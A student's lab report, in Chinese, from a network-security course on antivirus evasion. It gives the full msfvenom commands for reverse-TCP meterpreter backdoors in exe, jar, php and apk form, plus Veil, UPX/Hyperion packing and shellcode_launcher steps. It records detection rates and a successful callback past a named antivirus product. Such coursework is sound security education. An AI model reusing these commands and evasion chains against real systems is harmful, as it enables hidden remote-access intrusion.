2019-2020-2 网络对抗技术 20175206 Exp3 免杀原理与实践
目录
实践内容
任务一:正确使用msf编码器
任务二:msfvenom生成如jar之类的其他文件
任务三:veil
任务四:加壳工具
任务五:使用Cshellcode编程
任务六:使用其他课堂未介绍方法
任务七:通过组合应用各种技术实现恶意代码免杀
任务八:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
实践过程
任务一:正确使用msf编码器
- 我们之前已经学过所谓的msf编码器,这里使用
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.64.144 LPORT=5206 -f exe > 20175206_backdoor.exe
生成后门20175206_backdoor.exe
,其中IP为kaliIP地址
- 生成的后门程序
- 我们先来试试我们的360安全卫士(果断白给)
- 使用老师提供的杀毒后门网站VirusTotal进行检测
56/71,这查杀率相当不错了,从某种意义来讲这是一个被大多软件都能识破的低级后门程序
- 使用
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' -i 10 LHOST=192.168.64.144 LPORT=5206 -f exe > 20175206_backdoor10.exe
生成后门20175206_backdoor10.exe
,这里- i 10
就是多次编码,这里编码10次 - 2号选手已到位,我们来看看效果
- 事实证明花里胡哨根本就没有什么用,编码十次并不能有什么改变,查杀率一样
原因就是AV研究的是编码器本身,shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,只要盯住这部分就可以了。除此之外,每个像这样生成的后门软件最初的模板都是一样的,AV只要成功的查杀了一次,这个模板将会被记录,所以相似的当然也就无法通过了,自然查杀率根本就没有什么变化了。
任务二:msfvenom生成如jar之类的其他文件
后门程序有很多,在这里以java、php、android后门为例进行查杀:
- Java后门
使用代码msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.64.144 LPORT=5206 x> 20175206_java_backdoor.jar
生成java后门
使用网站进行查杀:
查杀率35/61,效果要明显优于exe类型文件,看来exe已经被重点照顾了啊。 - PHP后门
使用代码msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.64.144 LPORT=5206 x> 20175206_backdoor.php
生成PHP后门
使用网站进行查杀:
惊了,查杀率3/59,几乎大多数杀毒软件都无法查杀!这是否说明php后门程序是个大敌呢?360安排一下
GG,360认为PHP后门安全,这么说来这必须要吐槽一下360的无能了。 - Android后门
使用代码msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.64.144 LPORT=5206 x> 20175310_backdoor.apk
生成apk后门
使用网站进行查杀:
查杀率25/61,比exe和jar好一些,但不及php文件,360进行查杀
被列为危险项,清除成功! - 排下名吧,经过试验目前看来php文件是当之无愧的后门老大,apk紧随其后,然后是jar,最不济的是exe文件,看来exe文件也是遭受了蛮多的迫害啊。
任务三:veil
- veil安装其实遇到的问题倒不是很多啦,迷迷糊糊地安装了一大堆程序和语言,总之跟着走就好了,唯一的印象就是安装的也忒慢了,我安了能有一个小时,中间过程忘截图了,直接给出安装成功启动截图
- use evasion进入工具
- 生成veil后门工具
命令步骤如下:use c/meterpreter/rev_tcp.py set LHOST 192.168.64.144和set LPORT 5206,分别设置反弹连接的IP地址和端口号 generate生成文件
- 进行网站查杀:
- 查杀率43/70,似乎不是非常的理想。
任务四:加壳工具
从技术上壳分为:
压缩壳:减少应用体积,如ASPack,UPX
加密壳:版权保护,反跟踪。如ASProtect,Armadillo
虚拟机:通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect, Themida
- 压缩壳UPX
- 就压缩一下之前仅编码一次的20175206_backdoor.exe吧,输入命令
upx 20175206_backdoor.exe -o 20175206upx.exe
,生成20175206upx.exe
网络查杀后:
55/72的查杀率,压缩好像没有什么用啊?! - 加密壳Hyperion
- 输入
wine hyperion.exe -v 20175206upx.exe 20175206Hyperion.exe
网络查杀:
任务五:使用Cshellcode编程
使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.64.144 LPORT=5206 -f c
生成shellcode
网络查杀得:
41/70,只能算是中规中矩吧。
任务六:使用其他课堂未介绍方法
- 在查询了相关资料和参考同学的博客后,还是决定使用shellcode_launcher。
- 在网上下载相应软件
- 依旧是新建shellcode,注意后缀是raw
- 使用
.\shellcode_launcher.exe -i 5206.raw
命令分离并启动shellcode - 使用msfconsole进行监听,输入对应的ip和端口号
杀软并未启动,成功躲避杀软的查杀,后门程序成功!获得文件信息!
任务七:通过组合应用各种技术实现恶意代码免杀
- 我将之前生成的shellcode的exe文件利用加密和压缩进行了组合加工,得出的exe文件再次使用360进行检测,发现效果很好,没有被检测到,同时网络上的查杀也减少了很多。
任务八:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
回连成功,杀软腾讯管家,版本13.5
实践问题
基础问题回答
(1)杀软是如何检测出恶意代码的?
- 基于特征码的检测:将扫描信息与病毒数据库(即所谓的“病毒特征库)进行对照,如果信息与其中的任何一个病毒特征符合,杀毒软件就会判断此文件被病毒感染
- 启发式恶意软件检测:如果一个软件它看起来像病毒或者行为像病毒,那就把它认为是病毒
- 基于行为的恶意软件检测:是启发式的一种,针对软件的行为进行监控
(2)免杀是做什么?
- 处理一些恶意软件,使之不被杀毒软件所查杀,从而注入恶意软件达成自己的目的
(3)免杀的基本方法有哪些?
- 改变特征码
- 对shellcode编码
- 加壳
- 基于payload重新编译生成可执行文件
- 改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 通讯方式
- 非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码即成道MSF中
- 使用社工类攻击,诱骗目标关闭AV软件
- 纯手工打造一个恶意软件
实验总结与体会
- 总结与体会
实验真是一次又一次贴近实际,话说后门程序已经达到和杀软对线有来有回的地步了,上次实验的时候,老师多次叮嘱,一定要关闭杀软,否则后门很难注入,当时的后门是如此的唯唯诺诺。而本次实验则不然,杀软仿佛已经成为了一个弟弟级别的任务,从侧面说明了面对真正高级的后门程序,我们的杀软是那么的无力,不到20%的检测率也提醒了我们要时刻警惕当今后门程序,在信息数据化的时代,任何的疏忽都会导致极大的损失,而我们应该做到不该点的不点,不该看的不看,极力避免这种高级后门的注入,我们还要时刻更新我们的病毒库,即便杀软是那样的“人皆可欺”,但是有总比没有好,杀软只能给我们提供一个保险的作用,我们对抗后门真正的王牌则是约束自己的行为,绝不疏忽,绝不大意!
思考题
- 开启杀软能绝对防止电脑中恶意代码吗?
很明显,并不能绝对防止电脑中恶意代码。在实验的网站检测中我们可以看到后门的检测率很低,即便是在一些经常使用的杀毒软件上,一些后门仍旧隐藏的极好,很难被检测到,我们只能说,开启杀软对防止电脑中恶意代码有一定的作用,但如果想绝对防止以如今的杀毒软件可能无法实现,面对一些专门针对杀软弱点的后门程序仍旧无能为力。